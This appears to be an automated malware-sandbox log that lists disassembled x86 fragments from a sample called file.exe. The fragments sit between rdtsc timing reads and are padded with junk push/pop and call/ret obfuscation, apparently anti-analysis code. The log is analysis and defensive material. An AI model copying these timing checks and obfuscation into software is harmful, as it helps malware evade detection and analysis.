Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3C58 second address: 7A3CDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add dword ptr [ebp+122D246Ch], eax 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FB4247A5758h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e xor ebx, dword ptr [ebp+122D3894h] 0x00000034 jnc 00007FB4247A575Ch 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007FB4247A5758h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 movzx edi, bx 0x00000059 mov dword ptr [ebp+12456E70h], edx 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jns 00007FB4247A5756h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3CDD second address: 7A3CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2F42 second address: 7A2F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3CE1 second address: 7A3CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4CED second address: 7A4CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4CF1 second address: 7A4D08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB424D5263Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4D08 second address: 7A4D63 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB4247A5758h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FB4247A5758h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 call 00007FB4247A5766h 0x0000002e push ecx 0x0000002f cld 0x00000030 pop edi 0x00000031 pop ebx 0x00000032 push 00000000h 0x00000034 mov bx, di 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c js 00007FB4247A5756h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4D63 second address: 7A4D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4D80 second address: 7A4D8A instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A575Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4D8A second address: 7A4DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB424D5263Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5D67 second address: 7A5DD2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4247A576Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D30C4h], edx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FB4247A5758h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d jmp 00007FB4247A5768h 0x00000032 push 00000000h 0x00000034 clc 0x00000035 push eax 0x00000036 pushad 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EA3 second address: 7A7EA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EA8 second address: 7A7EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7EAE second address: 7A7EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jmp 00007FB424D5263Ch 0x0000000d push 00000000h 0x0000000f mov edi, 7434B120h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FB424D52638h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push eax 0x00000031 jc 00007FB424D52640h 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA093 second address: 7AA099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5025 second address: 7A5032 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA6BF second address: 7AA6DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB5F8 second address: 7AB602 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB424D5263Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA862 second address: 7AA866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA866 second address: 7AA86C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA86C second address: 7AA876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB4247A5756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ADA79 second address: 7ADA7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ADA7D second address: 7ADA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ADA83 second address: 7ADB2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FB424D52638h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 sub dword ptr [ebp+122D223Ch], ebx 0x0000002a push dword ptr fs:[00000000h] 0x00000031 mov dword ptr [ebp+122D2BD3h], edx 0x00000037 mov ebx, dword ptr [ebp+122D17CAh] 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FB424D52638h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e mov ebx, ecx 0x00000060 mov eax, dword ptr [ebp+122D0FB1h] 0x00000066 call 00007FB424D52641h 0x0000006b pop edi 0x0000006c push FFFFFFFFh 0x0000006e mov ebx, eax 0x00000070 push eax 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FB424D5263Dh 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ADB2C second address: 7ADB30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B63FC second address: 7B6407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB424D52636h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6407 second address: 7B6429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB4247A5769h 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7529D6 second address: 7529DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7529DC second address: 7529F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB4247A5763h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7529F9 second address: 7529FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5B97 second address: 7B5B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5E5F second address: 7B5E64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5E64 second address: 7B5E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB4247A5756h 0x0000000a pop edi 0x0000000b jmp 00007FB4247A575Bh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007FB4247A5756h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5E8E second address: 7B5E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B5E94 second address: 7B5EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB4247A5756h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B9C8C second address: 7B9C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C077E second address: 7C0782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0782 second address: 7C0788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF4C8 second address: 7BF4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF4CC second address: 7BF4D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB424D52636h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFD7A second address: 7BFD80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFD80 second address: 7BFD8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFF00 second address: 7BFF37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FB4247A5769h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB4247A5761h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFF37 second address: 7BFF4E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jl 00007FB424D52636h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0077 second address: 7C007D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C01EF second address: 7C01F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C01F3 second address: 7C021D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007FB4247A5756h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007FB4247A575Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FB4247A5756h 0x0000001b jne 00007FB4247A5756h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0353 second address: 7C0362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424D5263Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0605 second address: 7C061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB4247A575Ah 0x0000000e jne 00007FB4247A5756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C061E second address: 7C0624 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0624 second address: 7C0643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007FB4247A5756h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007FB4247A5756h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007FB4247A5756h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4FDB second address: 7C5004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52644h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FB424D52636h 0x0000000f jmp 00007FB424D5263Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5004 second address: 7C5013 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C52B1 second address: 7C52B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C52B7 second address: 7C52BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C52BB second address: 7C52C7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB424D52636h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C52C7 second address: 7C52D1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB4247A575Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4C95 second address: 7C4C9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C4C9B second address: 7C4CE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB4247A5764h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jc 00007FB4247A5758h 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007FB4247A5765h 0x0000001b ja 00007FB4247A5762h 0x00000021 jng 00007FB4247A5756h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5BD3 second address: 7C5C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB424D52641h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FB424D52636h 0x0000001a jmp 00007FB424D52644h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C0D second address: 7C5C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C11 second address: 7C5C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5C1A second address: 7C5C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9A09 second address: 7C9A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9A0F second address: 7C9A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9A13 second address: 7C9A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FB424D52645h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA5B second address: 79AA61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA61 second address: 79AA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA65 second address: 79AA69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA69 second address: 79AA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FB424D52647h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA8E second address: 79AA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AC4C second address: 79AC60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c je 00007FB424D5263Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AC60 second address: 79ACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007FB4247A5769h 0x0000000a pop edx 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007FB4247A5767h 0x00000014 jmp 00007FB4247A575Bh 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jc 00007FB4247A5773h 0x00000024 js 00007FB4247A576Dh 0x0000002a jmp 00007FB4247A5767h 0x0000002f pop eax 0x00000030 mov cx, si 0x00000033 call 00007FB4247A5759h 0x00000038 jl 00007FB4247A5764h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 pop eax 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79ACE4 second address: 79ACE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79ACE8 second address: 79AD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jmp 00007FB4247A5768h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD0B second address: 79AD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007FB424D52636h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD21 second address: 79AD26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD26 second address: 79AD37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD37 second address: 79AD3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD3D second address: 79AD47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB424D52636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD47 second address: 79AD5C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB4247A5756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD5C second address: 79AD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AD60 second address: 79AD6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AE45 second address: 79AE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AE49 second address: 79AE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4247A575Eh 0x00000011 rdtsc
